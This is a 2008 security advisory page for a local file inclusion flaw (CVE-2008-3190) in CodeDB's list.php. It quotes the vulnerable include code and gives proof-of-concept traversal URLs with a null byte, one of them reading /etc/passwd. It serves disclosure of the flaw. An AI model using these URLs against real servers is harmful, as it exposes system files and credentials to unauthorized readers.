SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

CodeDB (list.php lang) Local File Inclusion Vulnerability


Arrow  SecurityAlert : 4001
Arrow  CVE : CVE-2008-3190
Arrow  CWE : Not in CWE
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4333
Arrow  Credit : cOndemned
Arrow  Published : 17.07.2008

Arrow  Affected Software : CodeDB



Arrow  Advisory Content :  

###########################################################################
####
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura
;*
#
###########################################################################
####

Source :

// list.php

2. $lang = htmlspecialchars($_GET['lang']); // ok, but....
for what ? lol

7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have
to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned
;d


Proof of Concept :

http://[host]/[codeDB_path]/list.php?lang=../readme.txt%00
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd%00
http://[host]/[codeDB_path]/list.php?lang=../[local_file]%00


EoF.



Arrow  References :

http://securityreason.com/expldownload/1/4333/1 (Exploit)
http://xforce.iss.net/xforce/xfdb/43761
http://www.securityfocus.com/bid/30227
http://www.milw0rm.com/exploits/6071
http://www.frsirt.com/english/advisories/2008/2105/references
http://secunia.com/advisories/31053




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.